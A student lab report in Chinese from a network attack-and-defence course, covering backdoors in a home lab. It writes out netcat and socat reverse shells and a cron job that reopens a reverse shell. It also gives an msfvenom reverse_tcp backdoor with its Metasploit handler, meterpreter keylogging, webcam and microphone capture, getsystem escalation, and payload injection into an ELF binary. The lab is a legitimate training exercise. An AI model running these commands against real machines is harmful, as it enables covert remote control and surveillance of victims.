20222408 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1本周学习内容
本次实验中,学习的重点是后门的实现与启动方式,学习内容还有后门的定义、原理以及可能影响,netcat、socat、MSF meterpreter软件的应用。
1.2实验内容简述
- 使用netcat获取主机操作Shell,利用cron启动一项任务。
- 使用socat获取主机操作Shell, 利用创建任务计划的方式启动一项任务。
- 使用MSF meterpreter生成可执行文件(后门),利用netcat传送到主机,攻击机监听,主机运行该文件,实现获取主机的shell。
- 使用MSF meterpreter获取目标主机音频、屏幕截图、摄像头、击键记录等内容,并尝试提权。
- 使用MSF生成shellcode,注入到实践1中的pwn1中,同样进行监听、运行,获取反弹连接Shell。
1.3实验问题简答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 连接已经感染病毒的U盘、移动硬盘等存储设备;从网上下载携带病毒的破解版软件;点击不安全的网页或链接;打开藏有木马程序的邮件;在开发过程中,软件存在后门,软件发布时未进行删除。
- 例举你知道的后门如何启动起来(win及linux)的方式?
-
Windows:后门启动方式包括双击运行、任务计划程序设置、启动项与注册表修改、程序捆绑等。
-
Linux:后门启动方式包括cron定时任务、系统服务设置、自启动脚本、反弹shell、程序捆绑等。
- Meterpreter有哪些给你映像深刻的功能?
- Meterpreter可以进行实时屏幕截图、音频录制、摄像头监控、键盘记录等,这些功能使得攻击者能够全面监控受害者的系统,带来很大的安全威胁。
- 如何发现自己有系统有没有被安装后门?
- 检查系统进程和启动项,查看是否有未知或可疑的程序运行;使用安全软件进行全面扫描,检测病毒和恶意软件等;检查网络连接和端口情况,查看是否有未经授权的外部连接;关注系统日志,及时发现并处理可疑情况。
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
2.1.1准备工作
关闭主机的防火墙与实时保护,为后续的攻击行为提供条件。
在网站netcat下载上下载netcat,在我的电脑上需要允许威胁才可以正常下载。
2.1.2得到主机的ip地址
通过ipconfig
指令,得到主机的ip地址192.168.171.196。
2.1.3使用netcat连接,获取shell
在主机上,进入netcat所在目录,输入指令./nc.exe -l -p 2048
(表示监听2408端口)
在虚拟机上,输入指令nc 192.168.171.196 2408 -e /bin/sh
(表示对于指定的ip地址和端口,在连接后运行/bin/sh指令)
回到主机,输入一些shell命令,发现可以正常执行,返回虚拟机的信息,说明主机已经成功取得虚拟机shell。
2.1.4设置cron,在虚拟机中启动定时任务
cron表是用来设置周期性被执行的任务的列表。通过编辑crontab文件,用户可以指定任务(脚本或命令)在特定的时间间隔内自动运行。
以root权限打开命令行,输入指令crontab -e
(编辑当前用户的crontab文件),选择2:/usr/bin/vim.basic
(vim的基础版)
移动到最后,输入50 * * * * /bin/netcat 192.168.171.196 2048 -e /bin/sh
(在每个小时的50分执行相应指令),输入:wq!保存并退出。
使用指令crontab -l
,查看时程表,可以看到修改成功。
打开主机的/var/spool/cron/crontabs文件夹,可以看到多出来一个root文件。
在windows主机的cmd中,用一样的方式与虚拟机再次建立连接。
输入指令echo "08 * * * * echo "20222408" > /home/miaoshuyang/Desktop/20222408.txt" > /var/spool/cron/crontabs/root
(往crontabs中的root文件中输入"08 * * * * echo "20222408" > /home/miaoshuyang/Desktop/20222408.txt"这一字符串),用crontab -l
,查看时程表,可以看到修改成功。
等到08分,可以看到桌面上的20222408.txt被修改成功。
2.2使用socat获取主机操作Shell, 任务计划启动
从socat-1.7.3.0-windows网站上下载socat,在主机上解压缩即可使用。
在socat所在的文件夹,输入指令./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
(创建一个在TCP端口8888监听上的服务器,当有人连接到这个端口时,它会启动一个cmd.exe会话,并将这个会话的输入和输出通过 TCP 连接与客户端共享)
此时主机的ip地址变化为192.168.1.111。在虚拟机上输入socat - tcp:192.168.1.111:8888
(使用socat建立一个到特定IP地址和端口的TCP连接),成功进入命令行。
在主机上写一段程序,编译好,用于运行。程序的内容和路径如下。
在虚拟机中,输入指令schtasks /create /sc minute /mo 1 /tn"20222408msy" /tr D:\test20222408\test20222408.exe
(在Windows操作系统上,通过任务计划程序创建一个新任务的命令行指令)
在主机中,打开计算机管理,看到"20222408msy"这一每分钟执行一次的任务,说明攻击成功。
2.3使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
2.3.1生成后门文件
在虚拟机中输入ifconfig
,得到当前虚拟机的ip地址192.168.1.112
继续输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -f exe > backdoor20222408.exe
。这一指令将生成一个名为backdoor20222408.exe的恶意可执行文件,该文件包含一个反向TCP Meterpreter shell有效载荷。当这个文件在Windows计算机上运行时,它会尝试建立一个到IP地址为192.168.1.112、端口号为8888的攻击者机器的反向连接。如果连接成功,攻击者就可以通过Meterpreter shell远程控制受感染的计算机。
2.3.2将后门文件传至windows主机
在主机中进入netcat所在目录,输入指令 ./nc.exe -lv 8888 > "D:\backdoor20222408.exe"
(监听8888端口,将输出重定向到一个文件中)
在虚拟机中输入指令nc 192.168.1.111 8888 < backdoor20222408.exe
(将backdoor20222408.exe的文件内容发送到192.168.1.111:8888)
可以看到文件已传送过来。
2.3.3配置监听模块
在虚拟机的终端输入指令msfconsole
,打开Metasploit框架的主要控制台界面。
对监听模块进行配置:
use exploit/multi/handler
(选择Metasploit中的multi/handler利用模块)
set payload windows/meterpreter/reverse_tcp
(设置要使用的有效载荷,和生成后门程序时相同)
set LHOST 192.168.1.112
(设置本地主机的IP地址,和生成后门程序时相同)
set LPORT 8888
(设置本地端口)
输入exploit
,使监听模块开始运行。
在主机上输入./backdoor20222408.exe
,使其开始运行。
回到虚拟机,输入dir会显示当前目录下的目录,可以发现已经连接至主机。
2.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
2.4.1获取目标主机音频、截屏、摄像头、击键记录
在exploit模块中输入以下指令:
record_mic
(音频)
screenshot
(截屏)
webcam_snap
(拍摄)
keyscan_start
(开始读取键盘记录)
(回到主机输入一段文字)
keyscan_dump
(结束读取键盘记录)
除了键盘记录直接显示在命令行以外,可以在文件系统看到被保存的音频、截屏、拍摄记录。
2.4.2实现提权
用指令getuid
得到初始用户名MIAOSY-PC\miaos。
用指令getsystem
提升到系统权限。
从图中可以看出,通过技术6(Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)),成功获得了系统权限。
技术6(EfsPotato) 是一种利用windows系统中的漏洞或设计特性来绕过用户账户控制(UAC)和提升权限的技术。在这个场景中,它利用了文件系统(如加密文件系统EFS)中的命名管道(Named Pipe)来模拟系统级别的权限,从而允许执行更高权限的操作。
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
在虚拟机中输入msfvenom -p linux/x86/meterpreter/reverse tcp LHoST=192.168.1.112 LPORT=8888 -x /home/miaoshuyang/Desktop/pwn120222408 -f elf > 20222408_pwn1
(创建一个Linux平台上的反向TCP meterpreter payload,将其注入到指定的可执行文件中,并将其保存为一个ELF格式的文件)
对生成的文件设置权限。
输入msfconsole
,再次进行监听配置,开始监听。
打开新的shell,运行文件20222408_pwn1。
回到第一个shell,输入ls,发现可以打印当前目录的内容,说明成功获取shell。
3.问题及解决方案
- 问题1:正常实验过程中,虚拟机突然与主机无法通信。
- 问题1解决方案:四处搜索解决方案,改了半天都没有网,然而重启了一下就正常了。
- 问题2:输入
socat -tcp:192.168.1.111:8888
命令时,一直报错,说缺少参数。 - 问题2解决方案:仔细排查,发现少打了一个空格,正确的命令是
socat - tcp:192.168.1.111:8888
- 问题3:下载netcat时、以及接收backdoor20222408.exe时,下载下来的文件会被秒删。
- 问题3解决方案:在Windows安全中心的病毒和威胁防护界面,将检测出来的相应威胁设置为“允许在设备上运行”。
4.学习感悟、思考等
本次实验中,通过动手实践,我不仅掌握了使用netcat、socat、MSF meterpreter等工具获取主机操作Shell的方法,还学会了如何利用cron和任务计划等方式启动后门任务。这些技能的获得,让我对网络安全攻防有了更直观、更深入的理解。实践中遇到的各种错误与挑战,也很好地锻炼了我的纠错能力与动手能力。
在学习的过程中,我深刻体会到了网络安全的重要性以及后门的潜在威胁,因而产生了一些思考。首先,后门往往是黑客攻击的重要手段之一,它们可以被用来窃取敏感信息、破坏系统稳定性等。因此,我们必须时刻保持警惕,加强网络安全意识,采用定期更新系统补丁、使用强密码等措施来防范后门攻击。其次,对于网络安全人员来说,掌握后门原理和实践技能是必不可少的。只有这样,我们才能更好地发现和应对潜在的网络安全威胁,保护系统的安全和稳定。
综上所述,这次后门原理与实践的学习让我受益匪浅。我不仅掌握了相关的技能和知识,还深刻认识到了保障网络安全的重要性和挑战性。我相信,在未来的学习和工作中,我会继续深入学习和探索网络安全领域的知识和技术,为保护自己和他人的信息安全贡献自己的力量。